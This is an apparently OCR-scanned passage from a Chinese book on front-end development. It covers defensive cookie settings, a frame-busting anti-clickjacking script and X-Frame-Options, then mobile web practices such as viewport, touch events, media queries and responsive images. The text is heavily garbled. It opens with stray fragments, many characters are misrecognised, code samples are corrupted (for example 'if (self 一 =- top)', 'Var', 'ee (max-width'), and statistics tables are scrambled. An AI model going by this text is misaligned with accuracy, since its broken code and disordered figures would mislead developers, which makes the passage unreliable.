端 连 接 ， 所 以 在 后 端的 代码 中 也 需要 进行 必要 的 数据 校 验 操作 ， 并 且 检 查 校 验 的 力度 比 前 端 要 更 严格 。 








[1] https://github.com/chtisisbeef/jquery-encoder 














居 而 不 是 代码 ， 从 而 避 





EF 要 的 原理 是 在 服务 器 端 设 置 Access-Control-Allow-Origin 头 ， 从 而 限定 了 服务 请 求 的 发 起 端 。 如 下 是 一 个 设置 的 示例 : 





免 恶 意 数 














居 的 攻击 。 
































postMessage 时 需要 注意 的 地 方 和 使 





























只 能 用 GET 请 





CORS 时 的 类 
居 。 注 意 ， 不 要 通过 跨 域 来 传输 代码 ， 避 免 恶意 代码 的 执行 。 如 果 网 站 不 需要 接收 任 








户 甚至 可 以 不 通过 页 面 而 直接 和 后 

















[2] http://zh.wikipedia.org/wiki/JSONP 
[3] http://zh.wikipedia.org/wiki/CORS 
[4] http://caniuse.com/cors 


[5] https://developer.mozilla.org/en-US/docs/Web/API/Window.postMessage 


11.3 ”其 他 前 端 安全 防范 实践 








(1) 更 安全 地 使 用 Cookie 
































在 很 多 的 网 站 中 ，Cookie 是 用 来 持久 化 用 户 在 网 站 中 的 登录 的 。 如 果 取 得 了 Cookie， 就 可 以 劫持 用 户 在 网 站 上 的 权限 。 前 端 XSS 攻 击 的 其 中 一 个 目标 就 是 取得 Cookie 信 息 ， 这 也 是 Cookie 泄 露 的 最 
要 方式 之 一 。 避 免 这 种 泄露 的 有 效 方式 是 设置 Cookie 为 HttpOnly， 即 禁止 了 JavaScript 操 作 Cookie， 这 样 一 来 ， 前 端 XSS 攻 击 时 就 不 能 通过 javaScript 获 取 Cookie 的 信息 了 。HttpOnly Cookie 基 本 上 得 到 
了 所 有 浏览 器 的 支持 ， 推 荐 在 项 目 中 使 用 。 在 网 站 中 使 用 JavaScript 操 作 Cookie 是 一 种 不 安全 的 做 法 ， 如 果 遇 到 需要 通过 此 方式 来 传递 和 保存 数据 的 情况 ， 就 应 该 尝试 使 用 其 他 更 安全 的 代 蔡 方案 ， 比 如 使 
HTML5 中 的 LocalStorage。 




























































































除了 给 Cookie 设 置 HttpOnly 之 外 ， 还 有 另外 一 个 和 安全 相关 的 设置 ， 即 Secure。 设 置 了 Secure 的 Cookie 只 能 在 浏览 器 使 用 HTTPS 请 求 时 被 发 送 到 服务 器 端 。 如 果 Cookie 中 包含 有 敏感 信息 ， 那 么 这 
样 做 将 非常 有 用 。 如 果 站 点 使 用 了 SSL， 则 应 该 启用 Cookie 的 Secure 设 置 。 



















































































Cookie 的 另外 两 个 常用 的 设置 是 domain ( 域 ) 和 path (路 径 ) ， 这 两 个 设置 是 用 来 确定 Cookie 作 用 域 范围 的 。 通 常情 况 下 是 不 需要 设置 这 两 个 属性 的 ， 但 如 果 在 代码 中 设置 了 这 两 个 属性 ， 则 应 该 把 
范围 设置 为 最 小 ， 避 免 在 不 相关 的 路 径 或 者 域 中 访问 到 Cookie。 
































(2) 防止 网 页 被 其 他 网 站 内 嵌 为 iframe 





























在 11.1 节 介绍 前 端 攻 击 手段 时 ， 介 绍 过 界面 操作 劫持 攻击 。 这 种 攻击 正 是 利用 了 在 网 页 中 内 嵌 一 个 透明 的 iframe 来 达到 欺骗 用 户 的 目的 。 因 此 ， 为 了 避免 这 样 的 攻击 ， 就 要 让 网 页 不 能 够 被 其 他 网 站 内 
谋 。 传 统 的 方式 是 使 用 JavaScript 代 码 来 阻止 网 页 被 其 他 网 页 谋 套 ， 首 先 在 页 面 中 添加 如 下 的 样式 : 
























































<style id="antiClickjack">body{display:none !important;}</style> 


同时 添加 类 似 如 下 的 Javascript 代 码 : 





<script type="text/javascript"> 
if (self 一 =- top) { 
Var antiClickjack = document .getElementById ("antiClickjack"); 
antiClickjack.parentNode.removeChild (antiClickjack); 
} else { 
top.location = self.location; 
} 
</script> 





























如 上 的 代码 首先 设置 了 整个 页 面 不 可 见 ， 随 后 在 JavaScript 代 码 中 检测 页 面 是 否 被 内 吝 。 如 果 没 有 被 内 吝 ， 则 移 除 设置 页 面 不 可 见 的 样式 ， 否 则 把 顶层 页 面 的 地 址 设置 为 内 赃 页 面 的 地 址 ， 从 而 阻止 了 
页 面 的 内 谋 。 























浏览 器 也 支持 通过 设置 X-Frame-Options[1] 响 应 头 来 控制 页 面 被 其 他 页 面 内 谋 。X-Frame-Options 有 3 种 设置 选项 : DENY、SAMEORIGIN 及 ALLOW-FROM uri， 分 别 表示 禁止 、 允 许 相 同 域 及 特定 
域 页面 内 嵌 此 页 面 。 目 前 只 有 ALLOW-FROM uri 选 项 存在 浏览 器 兼容 问题 ， 其 他 两 种 选项 都 得 到 了 大 部 分 浏览 器 的 支持 。 从 浏览 器 兼容 性 上 来 说 ， 脚 本 的 方式 是 目前 用 来 阻止 网 页 被 内 峰 的 最 佳 方式 。 当 
然 ， 如 果 网 站 仅仅 是 要 禁止 被 内 嵌 ， 则 设置 X-Frame-Options 是 最 简单 有 效 的 方案 。 



























































[1] https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options 
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第 12 章 移动 Web 前 端 开发 最 佳 实践 





























移动 Web 前 端 开发 是 近 几 年 才 快速 发 展 起 来 的 。 在 2008 年 以 前 ， 移 动 Web 前 端 开发 还 主要 以 前 端 展 示 为 主 ， 并 不 会 和 用 户 有 太 多 的 交互 。 到 2008 年 之 后 ， 智 能 移动 设备 开始 迅速 普及 ， 这 得 益 于 
Android 和 iOS 系 统 的 完善 。 据 国外 某 网 站 的 统计 [1]， 在 2013 年 ， 全 球 有 91% 的 人 拥有 手机 ，56% 的 人 拥有 智能 手机 。 在 2012 年 ， 移 动 Web 端 的 流量 占 了 整个 Web 流 量 的 30%， 而 预计 2014 年 移动 Web 端 


的 流量 将 达到 50%。 图 12-1 是 2014 年 5 月 份 对 排名 前 5 名 的 房地产 网 站 的 访问 统计 咎 。 






























































Real estate network Total unique Desktop unique Mobile unique 
visitors in May visitors visitors 


All sites 94.0 million 64.3 million 54.7 million 
Zillow (Yahoo) network 53.8 million 32.3 million 30.6 million 


Trulia (RentPath) 30.8 million 17.7 million 16.8 million 
network 


Move Inc. network 23.7 million 13.1 million 13.4 million 


Homes.com 10.6 million 5.9 million 5.3 million 
(ForRent.com) network 


Redfin 5.9 million 3.0 million 3.2 million 





图 12-1 2014 年 5 月 份 ， 对 排名 前 5 名 的 房地产 网 站 的 访问 量 统计 
统计 列表 中 ， 列 出 了 网 站 的 总 访问 量 及 按照 设备 统计 的 访问 量 。 从 统计 中 可 以 看 到 ， 移 动 端的 流量 和 PC 端的 流量 基本 持平 ， 这 也 验证 了 之 前 提 到 的 网 站 流量 的 预测 。 可 以 预见 ， 未 来 的 Web 是 移动 端的 


Web。 移 动 端的 便捷 性 是 桌面 端 无 法 比拟 的 。Web 前 端的 开发 与 设计 者 也 意识 到 了 用 户 对 移动 网 站 的 高 要 求 ， 开 始 重视 移动 端的 Web 前 端 ， 同 时 也 有 针对 移动 端的 开发 实践 方法 被 总 结 出 来 。 本 章 从 
HTML、CSS 和 Javascript 这 3 种 主要 的 前 端 开 发 技术 出 发 ， 归 纳 移动 Web 前 端 相关 的 最 佳 实践 方法 。 















































[1] http://www.walkdigital.com/mobile-stats-to-blow-your-mind/ 


[2] http://www.inman.com/2014/06/27/mobile-taking-bigger-slice-of-the-real-estate-web-traffi c-pie 


12.1 移动 Web 前 端 开发 概述 


12.1.1 ”主流 的 移动 终端 和 移动 浏览 器 








智能 移动 终端 主要 以 智能 手机 和 平板 电脑 为 主 ， 智 能 系统 则 主要 是 iOS 和 Android 这 两 大 系统 ， 大 约 占据 总 智能 系统 份额 的 90%。 图 12-2 是 目前 主流 移动 设备 操作 系统 的 占有 率 统计 [1]。 























53.29 听 
Android 0.58% 
Symbian 3.92% 
Java ME 3.36% 


BlackBerry 1.13% 
Kindle 0.85% 
Windows Phone 0.69% 


12-2 主流 移动 设备 操作 系统 的 占有 率 统计 

















从 移动 系统 使 用 的 趋势 分 析 ，Android 增 长 飞快 ， 使 得 iOS 的 占有 率 有 所 下 降 ， 但 iOS 还 是 占据 一 半 以 上 的 份额 。 图 12-3 是 2013 年 5 月 ~2014 年 3 月 移动 智能 系统 增长 的 统计 信息 。 








MONTH IOS ANDROID JAVA ME SYMBIAN BLACKBERRY 
May, 2013 59.499% 24.40% 10.20% 2.06% 1.64% 
June, 2013 57.56% 24.66% 10.72% 2.49% 2.26% 
July, 2013 58.26% 25.28% 8.86% 2.23% 3.23% 
August, 2013 54.91% 28.12% 8.43% 3.26% 3.28% 
September, 2013 53,68% 29.42% 7.31% 4,.48% 3.26% 


October, 2013 55.39% 30.58% 6.47% 3.58% 2.55% 
November, 2013 55.17% 33.89% 4.49% 3.12% 1.65% 
December, 2013 54.27% 35.41% 3.90% 3.18% 1.58% 
January, 2014 54.46% 34.60% 4.26% 3.41% 1,49% 
February, 2014 52.96% 36.14% 4.44% 3.50% 1.42% 
March, 2014 53.29% 36.58% 3.36% 3.92% 1.13% 











图 12-3 2013 年 5 月 ~2014 年 3 月 移动 智能 系统 增长 的 统计 信息 




















Android 系 统 因为 具有 天 生 的 开放 性 姿态 ， 所 以 逐渐 得 到 了 更 多 的 第 三 方 移动 设备 厂商 的 青睐 ， 这 一 点 可 以 从 统计 图 表 ( 见 图 12-2 和 图 12-3) 中 得 以 体现 。 因 此 可 以 预知 ， 未 来 几 年 内 依然 将 是 
Android 和 iOs 系 统 互相 竞争 的 局 面 。 移 动 Web 开 发 中 ， 除 了 关注 移动 智能 系统 之 外 ， 更 需要 关注 的 是 在 这 些 系统 中 浏览 器 的 占有 情况 ， 毕 竟 浏 览 器 才 是 移动 Web 网 页 的 载体 。 图 12-4 是 目前 移动 端 浏览 器 
的 占有 率 统计 列表 ( 某 个 区 域 ) 。 



























































速 。 


Microsof Internet Explorer 


BlackBerry 
Symbian 


Opera Mobile 


Opera 


ACCESS NetFront 


Obigo 
Firefox 

















图 12-4 ”移动 端 浏览 器 的 占有 率 统计 











53.91% 
23.44% 
12.94% 
3.51% 
2.31% 
0.54% 
0.27% 
0.15% 
0.09% 
0.08% 
0.01% 





可 以 看 到 ， 由 于 iOS 和 Android 设 备 占 有 主导 地 位 ， 所 以 系统 中 自 带 的 浏览 器 Safari 和 Android Browser 自 然 成 为 了 占有 主导 地 位 的 浏览 器 。 移 动 版 Chrome 虽 然 发 布 的 时 间 不 长 ， 但 市 场 占有 率 增长 迅 
图 12-5 是 2013 年 5 月 ~2014 年 3 月 ， 主 流 移动 端 浏览 器 的 占有 率 增长 情况 列表 ( 某 个 区 域 ) 。 


SAFARI ANDROID BROWSER CHROME OPERA MINI INTERNET EXPLORER 





May, 2013 

June, 2013 

July, 2013 
August, 2013 
September 2013 
October, 2013 
November, 2013 
December, 2013 


January, 2014 
February, 2014 
March, 2014 


59.98% 
58.04% 
58.75% 
55.46% 
54.19% 
55.88% 
55.61% 
54.82% 
54.97% 
53.52% 
53.91% 
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20.73% 
20.58% 
20.59% 
22.23% 
22.77% 
23.45% 
25.22% 
25.43% 
23.49% 
23.84% 
23.44% 


3.22% 
3.75% 
4.44% 
5.60% 
6.34% 
6.85% 
8.33% 
9.70% 
10.87% 
12.09% 
12.94% 


10.53% 
11.16% 
9.42% 
8.98% 
7.85% 
6.91% 
4.81% 
4.15% 
4.51% 
4.67% 
3.51% 





12-5 2013 年 5 月 ~2014 年 3 月 ， 主 流 移动 端 浏览 器 的 占有 率 增长 统计 


1.97% 
2.37% 
1.88% 
1.82% 
1.95% 
1.30% 
1.56% 
1.58% 
1.63% 
1.70% 
2.31% 











从 图 12-5 中 可 以 看 出 ， 曾 经 在 移动 平台 中 占有 率 很 高 的 Oprea Mini 浏 览 器 下 降 速 度 很 快 。 主 流 的 移动 端 浏览 器 将 主要 是 Safari、Android Browser、Chrome 和 IE。 和 桌面 端 浏 览 器 相 比 ， 主 流 移动 端 
浏览 器 对 HTML5 新 标准 的 支持 更 好 ， 其 中 Safari、Android Browser 和 Chrome 都 是 以 WebkKit 为 核心 的 浏览 器 。 这 对 前 端 开发 者 来 说 是 个 好 消息 ， 因 为 浏览 器 兼容 不 再 是 一 个 突出 的 问题 。 





















































总 体 来 说 ， 移 动 平台 的 系统 和 浏览 器 的 更 新 速度 都 比 PC 平 台 快速 。 未 来 ， 移 动 平台 会 逐渐 成 为 接 入 互联 网 的 主要 入 口 ， 移 动 浏览 器 也 会 是 主要 的 网 页 浏览 入 口 。 














12.1.2 ”移动 端 和 桌面 端 Web 前 端 开发 的 差异 
































移动 端 和 桌面 端 Web 前 端 开发 相 比 较 ， 绝 大 部 分 的 开发 方式 和 最 佳 实践 是 相通 的 。 由 于 移动 设备 和 PC 相 比 ， 具 有 屏幕 小 、 设 备 之 间 屏 幕 大 小 和 分 辨 率 差 异 大 、 性 能 较 低 等 特点 ， 因 此 ， 在 设计 和 开发 移 
动 端的 网 页 时 需要 考虑 以 下 这 些 具 体 的 












































(1) 移动 设备 和 PC 之 间 的 页 面 显 示 差异 




















从 显示 面积 上 看 ， 移 动 设备 ， 尤 其 是 智能 手机 的 屏幕 比 PC 显 示 器 要 小 很 多 。 而 目前 大 多 数 的 网 站 只 是 从 桌面 端 浏 览 角度 进行 设计 ， 没 有 考虑 到 移动 设备 ， 如 果 用 手机 浏览 这 些 网 站 就 会 出 现 问题 ， 比 如 
出 现 横向 和 竖 向 的 滚动 条 。 在 小 屏幕 中 每 行 显示 的 字符 数 也 很 有 限 ， 可 读 性 非常 差 。 为 了 解决 这 个 问题 ，iOS 平 台 的 Safari 浏 览 器 中 定义 了 一 个 名 为 viewport 的 <meta> 标 签 向 ， 具 体 定义 如 下 : 















































<meta name="viewport" content="height = [ pixel value |device-height] , width = [ pixel value |device-width ] ，initial-scale = float value ， minimum-scale = float Value ， max 

















这 个 viewport 的 作用 是 在 浏览 器 中 创建 一 个 虚拟 的 窗口 ， 而 这 个 窗口 的 默认 宽度 为 980 像 素 。 以 第 一 代 iPhone 为 例 ， 设 备 的 物理 宽度 为 320 像 素 ， 但 是 在 浏览 器 中 虚拟 了 一 个 980 像 素 的 窗口 ， 意 味 着 如 
果 页 面 的 最 大 宽度 小 于 960 像 素 ， 则 页 面 可 以 完整 地 显示 在 iPhone 浏 览 器 中 ， 这 提高 了 网 页 的 可 读 性 。 在 Apple 公 司 实现 viewport 后 ， 其 他 浏览 器 也 加 入 了 对 viewport 的 支持 ， 不 过 默认 宽度 的 设置 上 有 差 
异 ， 具 体 差异 为 : Opera 默 认 宽度 为 850 像 素 、Android WebKit 为 800 像 素 、IE 为 974 像 素 。 




























































































当然 ， 开 发 者 可 以 自 定义 页 面 的 viewport 的 宽度 、 高 度 、 初 始 缩放 ， 以 及 最 大 和 最 小 缩放 等 属性 ， 以 适应 设计 的 要 求 。 例 如 ， 下 面 的 示例 代码 : 














<meta name="viewport" content="width=device-width, initial-scale=1.0， user-scalable=no"/> 














表示 页 面 的 宽度 为 设备 宽度 、 初 始 缩放 比例 为 1， 并 且 禁 止 用 户 缩放 网 页 。 



































(2) 在 移动 设备 和 桌面 端 Web 前 端 开发 中 ， 事 件 绑 定 存在 差异 


























移动 设备 上 可 以 做 多 点 触摸 操作 ， 但 在 PC 上 主要 是 鼠标 的 单一 点 操作 。Apple 公 司 在 iOS 2.0 中 引进 了 触摸 事件 APIB]，Android 随 后 也 添加 了 类 似 的 设计 。 由 于 主流 设备 的 支持 ，W3C 也 加 紧 了 这 方 
的 规范 制订 向 ， 目 前 的 版 本 (2013 年 10 月 10 日 版 ) 已 经 是 推荐 版 本 ， 意 味 着 规范 已 经 制订 完毕 。 按 照 规 范 ， 触 摸 事 件 分 为 4 类 : touchstart、touchmove、touchend 和 touchcancel 事 件 。touchstart、 
touchmove 和 touchend 对 应 着 桌面 端 浏览 器 中 的 mousedown、mousemove 和 mouseup。 每 个 触摸 事件 都 包含 有 3 个 列表 : touches、targetTouches 和 changed-Touches。 其 中 ， 需 要 注意 的 是 
touchcancel 事 件 ， 它 比较 独特 ， 在 某 些 情况 下 触摸 事件 可 能 被 打 断 。 例 如 ， 在 如 下 事件 中 会 触发 touchcancel 而 touchend 不 会 被 触发 : 在 iOS 系 统 的 Safari 浏 览 器 中 ， 用 户 按 下 了 home 按 键 ,或 者 按 了 浏 
览 器 底部 工具 条 上 的 按键 等 。 主 流 移动 端 浏览 器 都 支持 touchcancel 事 件 ， 但 触发 的 时 机 有 些 复杂 ， 因 此 ， 这 个 事件 并 没有 受到 开发 者 和 设计 者 的 重视 。 
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(3) 页 面 控 件 设 计 上 存在 差异 





PC 端的 用 户 习惯 于 使 用 鼠标 操作 ， 鼠 标 可 以 精准 地 操作 页 面 并 完成 点 击 、 拖 放 、 选 择 等 操作 。 但 是 在 移动 设备 上 ， 用 户 更 多 是 使 用 手指 触摸 操作 ， 操 作 的 精准 度 会 降低 很 多 ， 文 字 的 选中 操作 也 没有 在 
PC 网 页 中 方便 。 例 如 ， 在 一 般 的 网 页 中 ， 单 选 框 、 复 选 框 、 超 链接 都 是 比较 常见 的 页 面 控 件 ， 这 些 控件 很 适合 使 用 鼠标 操作 ， 但 是 移动 设备 中 使 用 手指 操作 时 ， 就 会 出 现 误 操作 现象 。 另 外 ， 这 些 控件 在 页 
面 上 的 可 操作 区 域 相 对 较 小 ， 而 手指 在 移动 设备 上 操作 的 精准 性 不 够 ， 这 就 导致 了 这 些 页 面 上 常见 的 控件 在 移动 设备 上 的 操作 体验 较 差 。 移 动 平台 的 开发 者 或 设计 者 在 设计 页 面 时 需要 考虑 这 些 用 户 体验 的 
问题 。 此 外 ， 在 页 面 上 实现 鼠标 操作 时 ， 在 控件 上 有 鼠标 悬浮 (hover) 效果 存在 ， 但 在 大 部 分 以 触摸 手势 操作 的 移动 设备 上 ， 并 不 会 触发 悬浮 的 效果 。 如 果 在 设计 中 使 用 了 CSSs 样 式 中 的 hover 伪 类 ， 则 此 
样式 在 触摸 设备 中 不 会 起 作用 ， 可 以 考虑 使 用 CSS 样 式 中 的 active 伪 类 代替 。 



































































































































另外 一 个 值得 开发 者 注意 的 是 移动 设备 中 虚拟 键盘 遮挡 问题 。 在 移动 设备 中 ， 当 用 户 的 焦点 在 一 个 输入 框 控件 时 ， 系 统 的 虚拟 键盘 会 弹出 。 一 般 的 虚拟 键盘 会 占用 屏幕 中 相当 大 的 一 个 区 域 ， 这 使 得 
户 不 易 切 换 输入 框 ， 同 时 也 有 可 能 会 遮盖 页 面 上 的 重要 信息 。 

































































(4) 移动 设备 的 网 络 带宽 普遍 比 PC 慢 ， 移 动 端 网 页 会 设计 得 更 简洁 


























很 多 移动 设备 使 用 了 3G 或 2G 技 术 接 入 网 络 ， 而 一 般 服 务 商 提供 的 3G 或 2G 服 务 ， 网 速 并 不 理想 。 为 了 让 这 部 分 用 户 更 快 地 打开 所 浏览 的 网 站 ， 就 需要 在 设计 时 做 一 定 的 取舍 ， 比 如 去 掉 一 些 并 不 重要 的 
功能 模块 、 去 掉 广 告 信息 和 部 分 图 片 信息 等 占用 流量 较 大 的 模块 等 。 



























































12.1.3 ”如 何 让 桌面 Web 页 面 兼容 移动 设备 





以 目前 移动 智能 设备 的 普及 情况 来 看 ， 网 站 开发 者 和 运营 者 都 不 能 忽视 来 自 于 移动 设备 的 访问 浏览 。 尽 管 最 佳 的 方式 是 专门 开发 一 个 移动 端 网 站 ， 但 在 很 多 的 情况 下 ， 为 了 移动 设备 而 开发 一 个 新 的 网 
站 是 需要 很 大 的 开发 成 本 的 。 网 站 的 拥有 者 可 能 更 期 望 能 通过 很 小 的 开发 成 本 ， 让 桌面 端的 网 页 可 以 兼容 移动 设备 ， 即 一 个 网 站 兼容 所 有 常用 的 设备 ， 包 括 PC、 各 种 尺寸 的 平板 电脑 和 智能 手机 等 。 基 于 这 
样 的 需求 ， 网 站 在 设计 时 就 需要 遵循 一 定 的 原则 ， 如 下 是 此 过 程 中 需要 注意 的 主要 内 容 。 
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(1) 使 用 流 式 布局 























流 式 布局 并 不 是 一 个 新 概念 ， 在 各 种 尺寸 的 移动 设备 还 没有 普及 的 时 候 ， 开 发 者 为 了 让 网 页 在 浏览 器 中 可 以 随 着 浏览 器 窗口 的 大 小 变化 而 自动 适应 ， 于 是 提出 了 一 个 流 式 布局 的 概念 。 流 式 布局 和 固定 
布局 是 相对 的 ， 流 式 布局 的 核心 思想 是 使 用 百分比 来 设置 页 面 各 部 分 的 宽度 ， 而 固定 布局 是 指 页 面 主要 模块 使 用 了 固定 的 宽度 。 图 12-6 从 左 到 右 分 别 展示 了 固定 布局 和 流 式 布局 的 页 面 宽度 设置 。 









































































































































b) 








图 12-6 ”固定 布局 和 流 式 布局 



































使 用 流 式 布局 的 优点 是 无 论 窗口 有 多 大 
动 设备 中 能 完整 地 显示 网 页 中 的 内 容 。 

















页 中 的 各 模块 都 可 以 完整 地 显示 在 窗口 中 ， 不 会 因为 浏览 窗口 变 窄 而 导致 页 面部 分 模块 隐藏 。 这 一 优点 在 兼容 各 种 尺寸 的 移动 设备 时 尤其 有 用 ， 保 证 了 在 移 









































总 结 以 上 的 叙述 ， 为 了 确保 页 面 兼容 各 种 尺寸 设备 ， 页 面 中 各 模块 宽度 、 内 外 边 距 以 及 边框 的 宽度 设置 必须 是 相对 值 ， 推 荐 使 用 百分比 设置 。 


























(2) 借助 于 CSS Media queries (媒体 查询 ) 技术 

















Media queries 是 在 CSS3 中 新 加 入 的 特性 ， 通 过 指定 媒体 类 型 的 方式 来 限定 所 包含 样式 的 作用 范围 。 如 下 是 Media queries 的 使 用 示例 (代码 来 自 于 Mozilla 开 发 者 网 站 ]) 。 





<!-- link 元 素 中 的 CSS 媒 体 查询 --> 
<link rel="stylesheet" media=" (max-width: 800px)" href="example.css" /> 
<!-- 样式 表 中 的 CSs 媒 体 查询 --> 
<style> 
@media (max-width: 600px) { 
“facet sidebar { 
display: none; 
} 
</style> 



































代码 中 的 第 一 个 示例 是 把 CSS 代 码 文件 的 作用 域 限制 在 了 窗口 尺寸 小 于 800 像 素 的 范围 ， 而 第 二 个 示例 把 代码 的 作用 域 限制 在 了 窗口 尺寸 小 于 600 像 素 的 范围 。Media queries 定 义 了 很 多 的 媒体 设 定 ， 
比如 设备 输出 类 型 、 屏 幕 的 方向 、 设 备 显示 的 索引 颜色 、 高 宽 比 、 设 备 的 宽度 、 分 辩 率 以 及 高 度 和 宽度 等 。 灵 活 组 合 这 些 设 定 ， 就 可 以 在 不 同 设备 上 切换 不 同 的 样式 定义 ， 这 在 兼容 不 同 尺 寸 的 设备 时 非常 
有 用 。 推 荐 一 个 有 关 Media queries 的 网 站 器 ， 这 个 网 站 介绍 了 Media queries 相 关 的 内 容 ， 并 列 出 了 常用 的 移动 设备 对 应 的 Media queries 表 达 式 。 




















































































































当然 ， 针 对 特定 设备 而 编写 样式 并 不 是 一 个 好 的 做 法 ， 移 动 设备 的 更 新 换代 非常 快 ， 可 能 编写 代码 时 某 个 设备 占有 率 非常 高 ， 但 很 快 会 被 分 辩 率 更 高 的 设备 取代 。 因 此 ， 针 对 特定 设备 而 编写 样式 只 会 
带 来 维护 上 的 困难 。 编 写 Media queries 样 式 时 ， 最 好 的 做 法 是 仅仅 限定 显示 窗口 的 尺寸 ， 而 不 是 限定 设备 尺寸 、 分 辩 率 等 和 特定 设备 相关 的 参数 。 




































































外 ， 在 使 用 Media queries 时 ， 限 定 支持 的 尺寸 点 很 重要 。 在 编写 样式 时 ， 针 对 限定 的 尺寸 点 范围 ， 编 写 不 同 的 样式 。 推 荐 按照 尺寸 从 小 到 大 编写 不 同 的 样式 ， 比 如 下 面 的 示例 : 





/* 智能 手机 <480px */ 
ee (max-width: 480px) { 


} 
/* 竖 屏 的 平板 <768px */ 
@media (max-width: 768px) and (min-width: 480px) { 


} 
/* 横 屏 的 平板 >768px */ 
@media (max-width: 1024px) and (min-width: 768px) { 


} 

/* 桌面 PC >1024px */ 

@media (min-width: 1024px) { 
} 

















(3) 使 用 合适 的 图 片 显示 兼容 方案 



































在 一 般 的 网 页 中 ， 图 片 是 不 可 或 缺 的 元 素 ， 有 必要 解决 图 片 在 移动 设备 的 兼容 性 问题 。 一 个 简单 而 有 效 的 做 法 是 针对 图 片 设置 一 个 全 局 的 CSS 样 式 ， 如 下 : 



































img { 
max-width: 100%; 
} 






































这 段 代 码 的 意思 是 让 所 有 的 图 片 最 大 宽度 值 为 其 容器 的 宽度 ， 从 而 避免 了 图 片 因为 超出 其 容器 的 大 小 而 被 遮挡 。 同 时 ， 图 片 的 宽度 也 不 会 超出 容器 的 实际 大 小 ， 保 证 了 图 片 显 示 的 效果 。 












































如 上 的 方案 只 是 保证 了 图 片 的 显示 ， 但 可 能 会 存在 一 些 问题 ， 比 如 性 能 问题 和 显示 质量 的 问题 。 网 页 的 制作 者 为 了 能 在 Retina 等 高 清 屏 设备 中 显示 高 清 的 图 片 ， 会 制作 高 DPI (Dots Per Inch， 每 英寸 
点 数 ) 的 图 片 ， 这 样 一 来 ， 当 图 片 的 尺寸 很 大 时 ， 显 示 的 质量 依然 会 很 高 。 但 在 一 般 的 移动 设备 上 ， 并 不 需要 显示 高 DPI 的 图 片 ， 因 为 它们 会 带 来 带宽 的 损耗 。HTML5 规 范 中 也 考虑 到 了 这 种 不 同 场景 中 加 
载 不 同 图 片 的 需求 ， 引 入 了 相关 的 特性 ， 在 CSS 样 式 中 可 以 使 用 Media queries 和 image-set， 而 在 HTML 中 则 可 以 在 <img> 标 签 中 使 用 srcset 属 性 。 如 下 是 使 用 Media queries 技 术 设 置 背景 图 的 例子 。 
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[ 





@media only screen and (min--moz-device-pixel-ratio: 1.5)， 
(-o-min-device-pixel-ratio: 3/2)， 
(-webkit-min-device-pixel-ratio: 1.5)， 
(min-device-pixel-ratio: 1.5) { 

#my-image { 
background:url (high.png); 
} 
} 


























该 示例 代码 表明 ， 当 设备 的 像素 比 大 于 1.5 时 ， 设 置 高 像素 的 背景 图 。 可 以 利用 image-set 实 现 类 似 的 效果 : 





























background-image: -webkit-image-set( 
url (iconlx.jpg) 1x， 
url (icon2x.jpg) 2x 

上 





代码 中 的 1x 和 2x 表 示 设 备 的 像素 比 为 和 2。 上 述 代码 表明 在 像素 比 不 同 的 设备 中 ， 要 加 载 不 同 的 图 片 。 
































以 上 的 示例 都 是 把 图 片 作为 背景 图 时 的 设置 ， 但 当 图 片 作为 页 面 内 容 加 载 时 ， 即 在 <img> 标 签 中 加 载 时 ， 目 前 还 没有 一 个 简单 的 方式 可 以 做 到 让 图 片 自动 响应 窗口 。 尽 管 HTML5 规 范 中 提议 了 一 个 
<picture> 标 签 ， 但 还 没有 浏览 器 可 以 支持 此 标签 。 使 用 < picture> 标 签 的 示例 如 下 :: 

































































<picture> 
<source srcset="responsive-xxxxx-mobile.png 1X， responsive-xxxxx-mobile-2x.png 2x"> 
<source srcset="responsive-xxxxx-512.png lx, responsive-xxxxx-1024.png 2x" media=" (min-width: 512px)"> 
<source srcset="responsive-xxxxx-1024.png lx, responsive-xxxxx-1024.png 2x" media=" (min-width: 1024px)"> 
<source srcset="responsive-xxxxx-2048.png lx, responsive-xxxxx-4096.png 2x" media=" (min-width: 2048px)"> 
<noscript><img src="responsive-xxxxx-512.png"></noscript> 

</picture> 
































使 用 此 标签 的 好 处 是 避免 了 借助 Javascript 代 码 或 者 第 三 方 的 应 用 ， 可 惜 目前 还 没有 浏览 器 支持 此 标签 。HTML5 规 范 中 提供 了 另外 一 种 设置 响应 式 图 片 的 方式 ， 即 使 用 srcset 属 性 ， 如 下 是 示例 代码 。 















































<img alt="my awesome image" 
src="banner .jpeg" 
srcset="banner-HD.jpeg 2x, 
banner-phone.jpeg 640w; 
banner-phone-HD.jpeg 640w 2x"> 




















[ 





代码 中 的 2x 表 示 设备 的 像素 比 ， 而 640w 表 示 设 备 的 viewport 宽 度 ， 即 窗口 的 宽度 。 这 些 条 件 前 面 对 应 的 图 片 就 是 当 设备 满足 这 些 条 件 时 加 载 的 图 片 。 
























































同样 ， 使 用 srcset 属 性 仍 存在 不 小 的 浏览 器 兼容 问题 。 目 前 因为 只 有 Chrome 和 Opera 浏 览 器 支持 srcset 属 性 ， 所 以 当前 理想 的 方案 还 是 要 借助 于 JavaScript 类 库 。 使 用 最 多 的 JavaScript 类 库 是 
picturefill[]。 这 个 类 库 提 供 了 针对 < picture> 标 签 和 srcset 属 性 等 新 特性 的 兼容 处 理 。 






































(4) 保持 页 面 简洁 ， 不 要 使 用 移动 设备 不 兼容 的 技术 
































保持 页 面 内 容 的 简洁 ， 才 能 以 很 小 的 成 本 兼容 移动 设备 。 简 洁 的 页 面 意味 着 能 在 移动 设备 上 更 快 地 加 载 ， 更 能 在 小 屏幕 上 突出 主要 的 内 容 。 因 此 ， 在 设计 网 页 时 ， 就 要 考虑 当 在 移动 设备 上 访问 时 ， 哪 
些 模块 需要 舍弃 。 另 外 ，Flash 技 术 在 移动 设备 上 的 体验 不 好 ， 并 且 在 iOs 平 台 上 也 不 支持 。 因 此 ， 在 网 页 中 不 要 在 核心 模块 使 用 Flash 技 术 ， 或 者 优先 使 用 更 先进 的 HTML5Canvas 技 术 ，Flash 只 是 降级 方 
案 。 这 样 既 能 兼容 支持 Canvas 技 术 的 移动 设备 ， 又 能 兼容 不 支持 Canvas 技 术 的 老 旧 浏览 器 。 此 外 ， 页 面 中 也 要 避免 使 用 插件 (诸如 播放 、 网 络 连接 、 存 储 、 访 问 本 地 文件 等 ) ， 因 为 它们 在 移动 设备 上 会 
失去 作用 。 






















































































(5) 设置 viewport 




















上 文 详细 介绍 了 viewport 的 概念 ， 这 个 概念 是 专门 为 了 移动 设备 而 设计 的 ， 为 了 更 好 地 兼容 移动 设备 ， 对 它 进 行 设置 是 十 分 必要 的 。 推 荐 的 设置 如 下 : 

